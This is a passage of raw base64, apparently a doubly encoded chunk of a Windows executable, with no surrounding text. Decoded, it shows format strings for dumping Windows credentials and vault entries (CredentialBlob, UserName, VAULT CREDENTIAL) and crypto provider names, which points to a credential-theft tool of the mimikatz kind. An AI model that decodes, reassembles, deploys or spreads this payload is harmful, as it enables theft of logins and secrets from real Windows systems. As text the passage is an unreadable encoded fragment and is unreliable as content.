VlQRUdnQUVBQUFCRUl3S0FBUUFBQU9CWkJvQUJBQUFBaVBFR2dBRUFBQURnS0FLQUFRQUFBSkJhQm9BQkFBQUFvUEVHZ0FFQUFBQmtRQUtBQVFBQUFPRHhCb0FCQUFBQThQRUdnQUVBQUFDZ1FBS0FBUUFBQUNEeUJvQUJBQUFBTVBJR2dBRUFBQUJJUFFLQUFRQUFBTkRoQllBQkFBQUFjUElHZ0FFQUFBQklPd0tBQVFBQUFLRHlCb0FCQUFBQXNQSUdnQUVBQUFCdytnYUFBUUFBQUpqNkJvQUJBQUFBc1BvR2dBRUFBQURJK2dhQUFRQUFBTmo2Qm9BQkFBQUE2UG9HZ0FFQUFBRDQrZ2FBQVFBQUFBajdCb0FCQUFBQUdQc0dnQUVBQUFCQSt3YUFBUUFBQUdEN0JvQUJBQUFBaVBzR2dBRUFBQUN3K3dhQUFRQUFBT0Q3Qm9BQkFBQUFRS1FIZ0FFQUFBQlFwZ2VBQVFBQUFKQ25CNEFCQUFBQThLTUhnQUVBQUFCUW93ZUFBUUFBQUxDbEI0QUJBQUFBMEtBSGdBRUFBQUJ3bmdlQUFRQUFBSENiQjRBQkFBQUFjSjRIZ0FFQUFBQ3dDQUtBQVFBQUFNUUtBb0FCQUFBQURBc0NnQUVBQUFBSXVnZUFBUUFBQUFDNkI0QUJBQUFBMkF3Q2dBRUFBQUJjRGdLQUFRQUFBTlFRQW9BQkFBQUEwSlFIZ0FFQUFBRFlsQWVBQVFBQUFLZ0FBQUFBQUFBQUVBQUFBRkFBQUFCVUFBQUFHQUFBQUNnQUFBQndBQUFBU0FBQUFLQUFBQUJZQUFBQVlBQUFBS0FBQUFBQUFBQUFFQUFBQUZBQUFBQlVBQUFBR0FBQUFDZ0FBQUJ3QUFBQVNBQUFBSmdBQUFCWUFBQUFZQUFBQUJBQkFBQUFBQUFBY0FBQUFMZ0FBQUM4QUFBQWdBQUFBSkFBQUFEWUFBQUFzQUFBQUFnQkFBREFBQUFBeUFBQUFBZ0JBQUFBQUFBQWNBQUFBTGdBQUFDOEFBQUFnQUFBQUpBQUFBRFlBQUFBc0FBQUFBQUJBQURBQUFBQXlBQUFBQmdCQUFBQUFBQUFjQUFBQU1nQUFBRE1BQUFBa0FBQUFLQUFBQURvQUFBQXdBQUFBQkFCQUFEUUFBQUEyQUFBQUZBQkFBQUFBQUFBY0FBQUFNZ0FBQURZQUFBQWdBQUFBSkFBQUFENEFBQUF3QUFBQUVnQkFBRGdBQUFBNkFBQUFHQUJBQUFBQUFBQWNBQUFBTmdBQUFEb0FBQUFrQUFBQUtBQUFBQUlBUUFBMEFBQUFGZ0JBQUR3QUFBQStBQUFBSkFBQUFBNEFBQUFhQUFBQUlBQUFBQUFBQUFBQ0FBQUFNQUFBQUE0QUFBQW1BQUFBTEFBQUFBQUFBQUFDQUFBQU5BQUFBQTRBQUFBcUFBQUFNQUFBQUFBQUFBQUNBQUFBRkNqQjRBQkFBQUFZQUFBQUpnQUFBQUlBUUFBR0FFQUFDZ0JBQUE0QVFBQVFBRUFBQUFBQUFBZ0FBQUFLQUFBQURBQUFBQkFBQUFBVUFBQUFHQUFBQUJ3QUFBQWVBQUFBSUFBQUFDSUFBQUF5QUFBQU5BQUFBRFlBQUFBQkFFQUFCQUJBQUFJQVFBQUlBRUFBQUFBQUFENEFBQUFBQUFBQUJnQUFBQUFBQUFBRUFBQUFBQUFBQUFvQUFBQUFBQUFBRFFBQUFCSUFBQUFPQUFBQUFBQUFBQlFBQUFBaUFBQUFQZ0FBQUFRQVFBQUtBRUFBRUFCQUFCSUFRQUFBQUFBQUNBQUFBQW9BQUFBTUFBQUFFQUFBQUJRQUFBQVlBQUFBSEFBQUFDQUFBQUFpQUFBQUpBQUFBQzRBQUFBd0FBQUFNZ0FBQUQwQUFBQUFBRUFBUGdBQUFBUUFRQUFBQUFBQU9nQUFBQUFBQUFBR0FBQUFBQUFBQUFRQUFBQUFBQUFBQ2dBQUFBQUFBQUFOQUFBQUVnQUFBQTRBQUFBQUFBQUFFQUFBQUI0QUFBQTZBQUFBQUFCQUFBWUFRQUFNQUVBQURnQkFBQUFBQUFBSUFBQUFDZ0FBQUF3QUFBQVFBQUFBRkFBQUFCZ0FBQUFjQUFBQUlBQUFBQ0lBQUFBa0FBQUFMZ0FBQURBQUFBQXlBQUFBUFFBQUFBQUFRQUErQUFBQUJBQkFBQUFBQUFBMkFBQUFBQUFBQUFvQUFBQUFBQUFBQmdBQUFBQUFBQUFNQUFBQUFBQUFBQTRBQUFBV0FBQUFFQUFBQUFBQUFBQVFBQUFBSGdBQUFEb0FBQUFBQUVBQUJnQkFBQXdBUUFBT0FFQUFBQUFBQUFnQUFBQUtBQUFBREFBQUFCQUFBQUFVQUFBQUdBQUFBQ1FBQUFBb0FBQUFLZ0FBQUN3QUFBQTJBQUFBT0FBQUFEb0FBQUFGQUVBQUNBQkFBQVlBUUFBTUFFQUFBQUFBQURZQUFBQUFBQUFBQ2dBQUFBQUFBQUFHQUFBQUFBQUFBQXdBQUFBQUFBQUFEZ0FBQUJZQUFBQVFBQUFBQUFBQUFCQUFBQUFlQUFBQU9nQUFBQUFBUUFBR0FFQUFEQUJBQUE0QVFBQUFBQUFBQ0FBQUFBb0FBQUFNQUFBQUVBQUFBQlFBQUFBWUFBQUFKQUFBQUNnQUFBQXFBQUFBTEFBQUFEWUFBQUE0QUFBQU9nQUFBQVVBUUFBSUFFQUFCZ0JBQUF3QVFBQUFBQUFBTmdBQUFBQUFBQUFLQUFBQUFBQUFBQVlBQUFBQUFBQUFEQUFBQUFBQUFBQVFBQUFBR0FBQUFCSUFBQUFBQUFBQUVnQUFBQ0lBQUFBR0FFQUFEQUJBQUJJQVFBQVlBRUFBR2dCQUFBQUFBQUFJQUFBQUNnQUFBQXdBQUFBUUFBQUFGQUFBQUJnQUFBQWtBQUFBS0FBQUFDb0FBQUFzQUFBQU5nQUFBRGdBQUFBNkFBQUFCUUJBQUFnQVFBQUdBRUFBREFCQUFBQUFBQUFDQUVBQUFBQUFBQW9BQUFBQUFBQUFCZ0FBQUFBQUFBQU1BQUFBQUFBQUFCSUFBQUFhQUFBQUZBQUFBQUFBQUFBZUJJSGdBRUFBQUNvRWdlQUFRQUFBTWdTQjRBQkFBQUE4S01IZ0FFQUFBQU9BQThBQUFBQUFQZ1ZCNEFCQUFBQUJ3QUlBQUFBQUFEd0ZRZUFBUUFBQUVDa0I0QUJBQUFBc0tVSGdBRUFBQUJRcGdlQUFRQUFBSkNuQjRBQkFBQUFBQUFBQUFBQUFBQWxBQ29BY3dBcUFDb0FRd0JTQUVVQVJBQkZBRTRBVkFCSkFFRUFUQUFxQUNvQUNnQUFBQUFBSlFBcUFITUFJQUFnQUdNQWNnQmxBR1FBUmdCc0FHRUFad0J6QUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBWXdCeUFHVUFaQUJUQUdrQWVnQmxBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQW9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJqQUhJQVpRQmtBRlVBYmdCckFEQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FLQUFBQUFBQUFBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBRlFBZVFCd0FHVUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFSZ0JzQUdFQVp3QnpBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFUQUJoQUhNQWRBQlhBSElBYVFCMEFIUUFaUUJ1QUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFLQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUIxQUc0QWF3QkdBR3dBWVFCbkFITUFUd0J5QUZNQWFRQjZBR1VBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBRkFBWlFCeUFITUFhUUJ6QUhRQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFRUUIwQUhRQWNnQnBBR0lBZFFCMEFHVUFRd0J2QUhVQWJnQjBBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQjFBRzRBYXdBd0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FIVUFiZ0JyQURFQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FGUUFZUUJ5QUdjQVpRQjBBRTRBWVFCdEFHVUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFITUFDZ0FBQUFBQUFBQWxBQ29BY3dBZ0FDQUFWQUJoQUhJQVp3QmxBSFFBUVFCc0FHa0FZUUJ6QUNBQUlBQWdBQ0FBT2dBZ0FDVUFjd0FLQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJEQUc4QWJRQnRBR1VBYmdCMEFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUJ6QUFvQUFBQUFBQUFBSlFBcUFITUFJQUFnQUZVQWJnQnJBRVFBWVFCMEFHRUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQUFBQUFBQUFBbEFDb0Fjd0FnQUNBQVZRQnpBR1VBY2dCT0FHRUFiUUJsQUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUNVQWN3QUtBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQkRBSElBWlFCa0FHVUFiZ0IwQUdrQVlRQnNBRUlBYkFCdkFHSUFJQUE2QUNBQUFBQUFBQ1VBZHdCYUFBQUFKUUFxQUhNQUlBQWdBRUVBZEFCMEFISUFhUUJpQUhVQWRBQmxBSE1BSUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBSlFCMUFDQUFZUUIwQUhRQWNnQnBBR0lBZFFCMEFHVUFjd0FvQUhNQUtRQUtBQUFBQUFBQUFDVUFLZ0J6QUNvQUtnQkJBRlFBVkFCU0FFa0FRZ0JWQUZRQVJRQXFBQ29BQ2dBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBUmdCc0FHRUFad0J6QUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCTEFHVUFlUUIzQUc4QWNnQmtBQ0FBT2dBZ0FDVUFjd0FLQUFBQUFBQWxBQ29BY3dBZ0FDQUFWZ0JoQUd3QWRRQmxBQ0FBT2dBZ0FBQUFBQUFBQUNVQUtnQnpBQ29BS2dCV0FFRUFWUUJNQUZRQUlBQlFBRThBVEFCSkFFTUFXUUFxQUNvQUNnQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQjJBR1VBY2dCekFHa0Fid0J1QUNBQU9nQWdBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQW9BQUFBQUFBQUFKUUFxQUhNQUlBQWdBSFlBWVFCMUFHd0FkQUFnQUNBQUlBQTZBQ0FBQUFBbEFDb0Fjd0FnQUNBQVRnQmhBRzBBWlFBZ0FDQUFJQUFnQURvQUlBQWxBSE1BQ2dBQUFBQUFKUUFxQUhNQUlBQWdBSFVBYmdCckFEQUFMd0F4QUM4QU1nQTZBQ0FBSlFBd0FEZ0FlQUF2QUNVQU1BQTRBSGdBTHdBbEFEQUFPQUI0QUFvQUFBQUFBQ1VBS2dCekFDb0FLZ0JXQUVFQVZRQk1BRlFBSUFCUUFFOEFUQUJKQUVNQVdRQWdBRXNBUlFCWkFDb0FLZ0FLQUFBQUFBQUFBQUFBSlFBcUFITUFJQUFnQUhVQWJnQnJBREFBSUFBZ0FEb0FJQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFkUUJ1QUdzQU1RQWdBQ0FBT2dBZ0FBQUFBQUFBQUNVQUtnQnpBQ29BS2dCV0FFRUFWUUJNQUZRQUlBQkRBRklBUlFCRUFFVUFUZ0JVQUVrQVFRQk1BQ29BS2dBS0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FGTUFZd0JvQUdVQWJRQmhBRWtBWkFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUFBQWxBQ29BY3dBZ0FDQUFkUUJ1QUdzQU1BQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQk1BR0VBY3dCMEFGY0FjZ0JwQUhRQWRBQmxBRzRBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFkUUJ1QUdzQU1RQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQjFBRzRBYXdBeUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUpRQXFBSE1BSUFBZ0FFWUFjZ0JwQUdVQWJnQmtBR3dBZVFCT0FHRUFiUUJsQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQnpBQW9BQUFBQUFDVUFLZ0J6QUNBQUlBQmtBSGNBUVFCMEFIUUFjZ0JwQUdJQWRRQjBBR1VBY3dCTkFHRUFjQUJUQUdrQWVnQmxBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUpRQXFBSE1BSUFBZ0FDb0FJQUJCQUhRQWRBQnlBR2tBWWdCMUFIUUFaUUFnQUNVQU13QjFBQ0FBUUFBZ0FHOEFaZ0JtQUhNQVpRQjBBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBSUFBZ0FDZ0FkUUJ1QUdzQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQXBBQW9BQUFBQUFBQUFBQUFBQUFBQUFBQWxBQ29BY3dBcUFDb0FWZ0JCQUZVQVRBQlVBQ0FBUXdCU0FFVUFSQUJGQUU0QVZBQkpBRUVBVEFBZ0FFRUFWQUJVQUZJQVNRQkNBRlVBVkFCRkFDb0FLZ0FLQUFBQUFBQWxBQ29BY3dBZ0FDQUFhUUJrQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJKQUZZQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUpRQXFBSE1BSUFBZ0FFUUFZUUIwQUdFQUlBQWdBQ0FBSUFBNkFDQUFBQUFsQUNvQWN3QXFBQ29BVmdCQkFGVUFUQUJVQUNBQVF3QlNBRVVBUkFCRkFFNEFWQUJKQUVFQVRBQWdBRU1BVEFCRkFFRUFVZ0FnQUVFQVZBQlVBRklBU1FCQ0FGVUFWQUJGQUZNQUtnQXFBQW9BQUFBQUFBQUFKUUFxQUhNQUlBQWdBSFlBWlFCeUFITUFhUUJ2QUc0QU9nQWdBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQW9BQUFBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBWXdCdkFIVUFiZ0IwQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCMUFHNEFhd0FnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FDb0FJQUFBQUhJQVpRQnpBSE1BYndCMUFISUFZd0JsQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUFBQUFBQnBBR1FBWlFCdUFIUUFhUUIwQUhrQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUFBQUFBQUFBWVFCMUFIUUFhQUJsQUc0QWRBQnBBR01BWVFCMEFHOEFjZ0FnQURvQUlBQUFBQUFBQUFBQUFIQUFjZ0J2QUhBQVpRQnlBSFFBZVFBZ0FDVUFNd0IxQUNBQUlBQTZBQ0FBQUFBQUFDVUFjd0FBQUFBQUFBQUFBRU1BUlFCU0FGUUFYd0JUQUZrQVV3QlVBRVVBVFFCZkFGTUFWQUJQQUZJQVJRQmZBRU1BVlFCU0FGSUFSUUJPQUZRQVh3QlZBRk1BUlFCU0FBQUFBQUFBQUFBQUFBQUFBRU1BUlFCU0FGUUFYd0JUQUZrQVV3QlVBRVVBVFFCZkFGTUFWQUJQQUZJQVJRQmZBRU1BVlFCU0FGSUFSUUJPQUZRQVh3QlZBRk1BUlFCU0FGOEFSd0JTQUU4QVZRQlFBRjhBVUFCUEFFd0FTUUJEQUZrQUFBQUFBQUFBQUFBQUFFTUFSUUJTQUZRQVh3QlRBRmtBVXdCVUFFVUFUUUJmQUZNQVZBQlBBRklBUlFCZkFFd0FUd0JEQUVFQVRBQmZBRTBBUVFCREFFZ0FTUUJPQUVVQUFBQkRBRVVBVWdCVUFGOEFVd0JaQUZNQVZBQkZBRTBBWHdCVEFGUUFUd0JTQUVVQVh3Qk1BRThBUXdCQkFFd0FYd0JOQUVFQVF3QklBRWtBVGdCRkFGOEFSd0JTQUU4QVZRQlFBRjhBVUFCUEFFd0FTUUJEQUZrQUFBQUFBQUFBQUFCREFFVUFVZ0JVQUY4QVV3QlpBRk1BVkFCRkFFMEFYd0JUQUZRQVR3QlNBRVVBWHdCTUFFOEFRd0JCQUV3QVh3Qk5BRUVBUXdCSUFFa0FUZ0JGQUY4QVJRQk9BRlFBUlFCU0FGQUFVZ0JKQUZNQVJRQUFBQUFBQUFBQUFBQUFBQUJEQUVVQVVnQlVBRjhBVXdCWkFGTUFWQUJGQUUwQVh3QlRBRlFBVHdCU0FFVUFYd0JEQUZVQVVnQlNBRVVBVGdCVUFGOEFVd0JGQUZJQVZnQkpBRU1BUlFBQUFBQUFBQUJEQUVVQVVnQlVBRjhBVXdCWkFGTUFWQUJGQUUwQVh3QlRBRlFBVHdCU0FFVUFYd0JWQUZNQVJRQlNBRk1BQUFCREFFVUFVZ0JVQUY4QVV3QlpBRk1BVkFCRkFFMEFYd0JUQUZRQVR3QlNBRVVBWHdCVEFFVUFVZ0JXQUVrQVF3QkZBRk1BQUFBQUFFMEFVd0JmQUVRQVJRQkdBRjhBVUFCU0FFOEFWZ0FBQUFBQUFBQUFBQUFBVFFCcEFHTUFjZ0J2QUhNQWJ3Qm1BSFFBSUFCQ0FHRUFjd0JsQUNBQVF3QnlBSGtBY0FCMEFHOEFad0J5QUdFQWNBQm9BR2tBWXdBZ0FGQUFjZ0J2QUhZQWFRQmtBR1VBY2dBZ0FIWUFNUUF1QURBQUFBQUFBRTBBVXdCZkFFVUFUZ0JJQUVFQVRnQkRBRVVBUkFCZkFGQUFVZ0JQQUZZQUFBQUFBQUFBQUFCTkFHa0FZd0J5QUc4QWN3QnZBR1lBZEFBZ0FFVUFiZ0JvQUdFQWJnQmpBR1VBWkFBZ0FFTUFjZ0I1QUhBQWRBQnZBR2NBY2dCaEFIQUFhQUJwQUdNQUlBQlFBSElBYndCMkFHa0FaQUJsQUhJQUlBQjJBREVBTGdBd0FBQUFBQUJOQUZNQVh3QlRBRlFBVWdCUEFFNEFSd0JmQUZBQVVnQlBBRllBQUFBQUFFMEFhUUJqQUhJQWJ3QnpBRzhBWmdCMEFDQUFVd0IwQUhJQWJ3QnVBR2NBSUFCREFISUFlUUJ3QUhRQWJ3Qm5BSElBWVFCd0FHZ0FhUUJqQUNBQVVBQnlBRzhBZGdCcEFHUUFaUUJ5QUFBQVRRQlRBRjhBUkFCRkFFWUFYd0JTQUZNQVFRQmZBRk1BU1FCSEFGOEFVQUJTQUU4QVZnQUFBQUFBQUFBQUFBQUFUUUJwQUdNQWNnQnZBSE1BYndCbUFIUUFJQUJTQUZNQVFRQWdBRk1BYVFCbkFHNEFZUUIwQUhVQWNnQmxBQ0FBUXdCeUFIa0FjQUIwQUc4QVp3QnlBR0VBY0FCb0FHa0FZd0FnQUZBQWNnQnZBSFlBYVFCa0FHVUFjZ0FBQUFBQVRRQlRBRjhBUkFCRkFFWUFYd0JTQUZNQVFRQmZBRk1BUXdCSUFFRUFUZ0JPQUVVQVRBQmZBRkFBVWdCUEFGWUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFMEFhUUJqQUhJQWJ3QnpBRzhBWmdCMEFDQUFVZ0JUQUVFQUlBQlRBRU1BYUFCaEFHNEFiZ0JsQUd3QUlBQkRBSElBZVFCd0FIUUFid0JuQUhJQVlRQndBR2dBYVFCakFDQUFVQUJ5QUc4QWRnQnBBR1FBWlFCeUFBQUFBQUFBQUUwQVV3QmZBRVFBUlFCR0FGOEFSQUJUQUZNQVh3QlFBRklBVHdCV0FBQUFUUUJwQUdNQWNnQnZBSE1BYndCbUFIUUFJQUJDQUdFQWN3QmxBQ0FBUkFCVEFGTUFJQUJEQUhJQWVRQndBSFFBYndCbkFISUFZUUJ3QUdnQWFRQmpBQ0FBVUFCeUFHOEFkZ0JwQUdRQVpRQnlBQUFBQUFBQUFFMEFVd0JmQUVRQVJRQkdBRjhBUkFCVEFGTUFYd0JFQUVnQVh3QlFBRklBVHdCV0FBQUFBQUJOQUdrQVl3QnlBRzhBY3dCdkFHWUFkQUFnQUVJQVlRQnpBR1VBSUFCRUFGTUFVd0FnQUdFQWJnQmtBQ0FBUkFCcEFHWUFaZ0JwQUdVQUxRQklBR1VBYkFCc0FHMEFZUUJ1QUNBQVF3QnlBSGtBY0FCMEFHOEFad0J5QUdFQWNBQm9BR2tBWXdBZ0FGQUFjZ0J2QUhZQWFRQmtBR1VBY2dBQUFBQUFBQUFBQUUwQVV3QmZBRVVBVGdCSUFGOEFSQUJUQUZNQVh3QkVBRWdBWHdCUUFGSUFUd0JXQUFBQUFBQUFBQUFBQUFBQUFFMEFhUUJqQUhJQWJ3QnpBRzhBWmdCMEFDQUFSUUJ1QUdnQVlRQnVBR01BWlFCa0FDQUFSQUJUQUZNQUlBQmhBRzRBWkFBZ0FFUUFhUUJtQUdZQWFRQmxBQzBBU0FCbEFHd0FiQUJ0QUdFQWJnQWdBRU1BY2dCNUFIQUFkQUJ2QUdjQWNnQmhBSEFBYUFCcEFHTUFJQUJRQUhJQWJ3QjJBR2tBWkFCbEFISUFBQUFBQUFBQUFBQk5BRk1BWHdCRUFFVUFSZ0JmQUVRQVNBQmZBRk1BUXdCSUFFRUFUZ0JPQUVVQVRBQmZBRkFBVWdCUEFGWUFBQUFBQUFBQUFBQUFBRTBBYVFCakFISUFid0J6QUc4QVpnQjBBQ0FBUkFCSUFDQUFVd0JEQUdnQVlRQnVBRzRBWlFCc0FDQUFRd0J5QUhrQWNBQjBBRzhBWndCeUFHRUFjQUJvQUdrQVl3QWdBRkFBY2dCdkFIWUFhUUJrQUdVQWNnQUFBQUFBQUFBQUFFMEFVd0JmQUZNQVF3QkJBRklBUkFCZkFGQUFVZ0JQQUZZQUFBQUFBQUFBVFFCcEFHTUFjZ0J2QUhNQWJ3Qm1BSFFBSUFCQ0FHRUFjd0JsQUNBQVV3QnRBR0VBY2dCMEFDQUFRd0JoQUhJQVpBQWdBRU1BY2dCNUFIQUFkQUJ2QUNBQVVBQnlBRzhBZGdCcEFHUUFaUUJ5QUFBQUFBQUFBRTBBVXdCZkFFVUFUZ0JJQUY4QVVnQlRBRUVBWHdCQkFFVUFVd0JmQUZBQVVnQlBBRllBWHdCWUFGQUFBQUFBQUFBQUFBQUFBQUFBVFFCcEFHTUFjZ0J2QUhNQWJ3Qm1BSFFBSUFCRkFHNEFhQUJoQUc0QVl3QmxBR1FBSUFCU0FGTUFRUUFnQUdFQWJnQmtBQ0FBUVFCRkFGTUFJQUJEQUhJQWVRQndBSFFBYndCbkFISUFZUUJ3QUdnQWFRQmpBQ0FBVUFCeUFHOEFkZ0JwQUdRQVpRQnlBQ0FBS0FCUUFISUFid0IwQUc4QWRBQjVBSEFBWlFBcEFBQUFBQUFBQUUwQVV3QmZBRVVBVGdCSUFGOEFVZ0JUQUVFQVh3QkJBRVVBVXdCZkFGQUFVZ0JQQUZZQUFBQk5BR2tBWXdCeUFHOEFjd0J2QUdZQWRBQWdBRVVBYmdCb0FHRUFiZ0JqQUdVQVpBQWdBRklBVXdCQkFDQUFZUUJ1QUdRQUlBQkJBRVVBVXdBZ0FFTUFjZ0I1QUhBQWRBQnZBR2NBY2dCaEFIQUFhQUJwQUdNQUlBQlFBSElBYndCMkFHa0FaQUJsQUhJQUFBQUFBQUFBVUFCU0FFOEFWZ0JmQUZJQVV3QkJBRjhBUmdCVkFFd0FUQUFBQUFBQUFBQlFBRklBVHdCV0FGOEFVZ0JUQUVFQVh3QlRBRWtBUndBQUFBQUFBQUFBQUZBQVVnQlBBRllBWHdCRUFGTUFVd0FBQUFBQUFBQUFBRkFBVWdCUEFGWUFYd0JHQUU4QVVnQlVBRVVBV2dCYUFFRUFBQUFBQUFBQVVBQlNBRThBVmdCZkFFMEFVd0JmQUVVQVdBQkRBRWdBUVFCT0FFY0FSUUFBQUFBQUFBQUFBRkFBVWdCUEFGWUFYd0JUQUZNQVRBQUFBQUFBQUFBQUFGQUFVZ0JQQUZZQVh3QlNBRk1BUVFCZkFGTUFRd0JJQUVFQVRnQk9BRVVBVEFBQUFBQUFBQUJRQUZJQVR3QldBRjhBUkFCVEFGTUFYd0JFQUVnQUFBQlFBRklBVHdCV0FGOEFSUUJEQUY4QVJRQkRBRVFBVXdCQkFGOEFVd0JKQUVjQUFBQUFBQUFBVUFCU0FFOEFWZ0JmQUVVQVF3QmZBRVVBUXdCT0FGSUFRUUJmQUZNQVNRQkhBQUFBQUFBQUFGQUFVZ0JQQUZZQVh3QkZBRU1BWHdCRkFFTUFSQUJUQUVFQVh3QkdBRlVBVEFCTUFBQUFBQUJRQUZJQVR3QldBRjhBUlFCREFGOEFSUUJEQUU0QVVnQkJBRjhBUmdCVkFFd0FUQUFBQUFBQVVBQlNBRThBVmdCZkFFUUFTQUJmQUZNQVF3QklBRUVBVGdCT0FFVUFUQUFBQUFBQUFBQUFBRkFBVWdCUEFGWUFYd0JUQUZBQVdRQlNBRlVBVXdCZkFFd0FXUUJPQUVzQVV3QUFBQUFBQUFCUUFGSUFUd0JXQUY4QVVnQk9BRWNBQUFBQUFBQUFBQUJRQUZJQVR3QldBRjhBU1FCT0FGUUFSUUJNQUY4QVV3QkZBRU1BQUFBQUFGQUFVZ0JQQUZZQVh3QlNBRVVBVUFCTUFFRUFRd0JGQUY4QVR3QlhBRVlBQUFBQUFBQUFBQUJRQUZJQVR3QldBRjhBVWdCVEFFRUFYd0JCQUVVQVV3QUFBQUFBQUFBQUFFTUFRUUJNQUVjQVh3Qk5BRVFBTWdBQUFBQUFBQUFBQUVNQVFRQk1BRWNBWHdCTkFFUUFOQUFBQUFBQUFBQUFBRU1BUVFCTUFFY0FYd0JOQUVRQU5RQUFBQUFBQUFBQUFFTUFRUUJNQUVjQVh3QlRBRWdBUVFBeEFBQUFBQUFBQUVNQVFRQk1BRWNBWHdCTkFFRUFRd0FBQUFBQUFBQUFBRU1BUVFCTUFFY0FYd0JTQUZNQVFRQmZBRk1BU1FCSEFFNEFBQUFBQUFBQVF3QkJBRXdBUndCZkFFUUFVd0JUQUY4QVV3QkpBRWNBVGdBQUFBQUFBQUJEQUVFQVRBQkhBRjhBVGdCUEFGOEFVd0JKQUVjQVRnQUFBQUFBQUFBQUFFTUFRUUJNQUVjQVh3QlNBRk1BUVFCZkFFc0FSUUJaQUZnQUFBQUFBQUFBUXdCQkFFd0FSd0JmQUVRQVJRQlRBQUFBQUFBQUFBQUFRd0JCQUV3QVJ3QmZBRE1BUkFCRkFGTUFYd0F4QURFQU1nQUFBQUFBQUFCREFFRUFUQUJIQUY4QU13QkVBRVVBVXdBQUFBQUFBQUJEQUVFQVRBQkhBRjhBUkFCRkFGTUFXQUFBQUFBQUFBQkRBRUVBVE